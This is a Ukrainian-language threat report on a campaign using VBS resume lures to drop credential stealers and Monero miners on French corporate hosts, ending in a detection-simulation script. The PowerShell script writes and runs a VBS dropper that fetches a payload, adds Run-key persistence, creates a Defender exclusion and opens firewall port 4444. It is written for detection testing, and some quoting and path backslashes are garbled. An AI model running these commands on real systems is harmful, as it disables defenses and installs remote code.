Аналіз FAUX#ELEVATE: Зловмисники атакують Францію за допомогою CV-принад для розгортання криптомайнерів та інфостілерів, націлених на корпоративні середовища

Резюме

Кіберзлочинна операція використовує шкідливий VBS-файл резюме для атак на франкомовні корпоративні середовища. Завантажувач сильно заплутаний і спроектований для виконання лише на комп’ютерах, які підключені до домену, де він розгортає шкідливе ПЗ для крадіжки облікових даних поряд з Monero майнером. Кампанія використовує довірені сервіси, такі як Dropbox, і зламані марокканські сайти WordPress для розміщення шкідливих вантажів. Викрадені дані передаються через SMTP на mail.ru, а шкідливе ПЗ видаляє сліди після виконання для зменшення видимості судово-медичної експертизи.

Розслідування

Дослідники проаналізували назад VBS-завантажувач, розкрили його перевірки середовища та створили карту повного багатоступеневого ланцюга інфікування, включаючи вилучення з 7-Zip, власний RAT під назвою RuntimeHost.exe, крадіжку облікових даних бравзерів ChromElevator та майнінг активності XMRig. Вони також виявили підтримуючу інфраструктуру, таку як IP-адреси, записи динамічного DNS і зламані сервери WordPress. Стійкість була пов’язана з ключами запуску реєстру та прихованим розкладом завдань.

Пом’якшення

Захисники повинні блокувати підозрілі файли VBS і забезпечувати жорсткі заходи контролю для вкладень електронної пошти. Спостереження повинно зосереджуватися на аномальному виконанні wscript.exe, командах PowerShell, які додають виключення Defender, і змінах реєстру, що стосуються EnableLUA. Організації повинні обмежити вихідний SMTP з нелистовими додатками і спостерігати за з’єднаннями з відомою інфраструктурою Dropbox і майнінгових пулів. Всі виявлені ключі реєстру або розклади завдань мають бути видалені або заблоковані.

Реагування

Команди захисту повинні виявляти створення ключів запуску “Microsoft Media Service” і “z_MicrosoftEdgeAutoLaunch_2EDFBF”, а також приховане заплановане завдання “MicrosoftUpdateService”. Повідомлення мають спрацьовувати на процесах wscript.exe, які звертаються до Dropbox або задокументованих доменів WordPress. Шкідливі файли повинні бути ізольовані, хост ізольований, а вихідні облікові дані бравзерів мають бути скинуті. Після цього судово-медичний огляд має визначити, чи були викрадені дані передані через mail.ru.

Виконання Симуляції

Попередня умова: Перевірка Доданих та Початкових Даних повинна бути пройдена.

Обґрунтування: Цей розділ деталізує точне виконання техніки противника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані TTP та мають генерувати точну телеметрію, очікувану правилами виявлення.

• Наратив Атаки та Команди:

  1. Стадія 1 – Викидання шкідливого VBS: Нападник записує dropper VBS, який завантажує другорядне навантаження та записує ключ запуску реєстру для стійкості.
  2. Стадія 2 – Виконання VBS через wscript.exe з PowerShell у ролі батьківського процесу, тим самим задовольняючи умову батьківсько-дочірнього стану виявлення.
  3. Стадія 3 – В межах VBS, виконайте PowerShell, щоб додати виключення Microsoft Defender (T1562.001) і Netsh для відкриття вхідного порту TCP 4444 (T1562.004) для C2.
  4. Стадія 4 – Видалення доказів після успіху.

• Скрипт Регресійного Тестування: (PowerShell – самостійний; запустити з правами адміністратора)

  # -----------------------------------------------------------------------
  # Симуляція Шкідливого VBS Dropper – активізує правило Sigma:
  #   Образ == "*wscript.exe" AND БатьківськийОбраз у ("*powershell.exe","*netsh.exe")
  # -----------------------------------------------------------------------
  
  $vbsPath = "$env:Tempmalicious_dropper.vbs"
  $payloadUrl = "http://example.com/payload.exe"   # заповнювач URL
  $payloadPath = "$env:Temppayload.exe"
  
  # 1. Створити шкідливий VBS, що:
  #    • Завантажує навантаження
  #    • Записує ключ запуску для стійкості
  #    • Викликає PowerShell для додавання виключень Defender
  #    • Викликає Netsh для відкриття правило брандмауера
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.Open "GET", "$payloadUrl", False
  objXML.Send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$payloadPath", 2
  End If

‘ Персистентність через ключ запуску Set objShell = CreateObject(“WScript.Shell”) objShell.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious”, “$payloadPath”

‘ Виключення Defender через PowerShell (виконано внутрішньо) objShell.Run “powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$payloadPath'“”, 0, True

‘ Відкрити порт брандмауера 4444 через Netsh (виконано внутрішньо) objShell.Run “netsh.exe advfirewall firewall add rule name="MaliciousPort” dir=in action=allow protocol=TCP localport=4444″, 0, True “@

Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Запустити VBS за допомогою PowerShell як батьківський процес
Write-Host "[*] Запуск шкідливого VBS через wscript.exe (батько: PowerShell)"
Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"wscript.exe `"$vbsPath`"`"" -Wait

# 3. Перевірка, що правило брандмауера було додано (необов'язково)
netsh advfirewall firewall show rule name=MaliciousPort

# 4. Очищення артефактів (навантаження та VBS) – залишається для окремого розділу очищення
Write-Host "[+] Симуляція завершена. Перегляньте сповіщення в SIEM."

• Команди Очищення: (запустіть після перевірки)

  # Видалити правило брандмауера
  netsh advfirewall firewall delete rule name="MaliciousPort"
  
  # Видалити виключення Defender
  powershell.exe -Command "Remove-MpPreference -ExclusionPath '$env:Temppayload.exe'"
  
  # Видалити ключ запуску персистентності
  reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious" /f
  
  # Видалити файли
  Remove-Item -Path "$env:Tempmalicious_dropper.vbs" -Force
  Remove-Item -Path "$env:Temppayload.exe" -Force
  
  Write-Host "[+] Очистка завершена."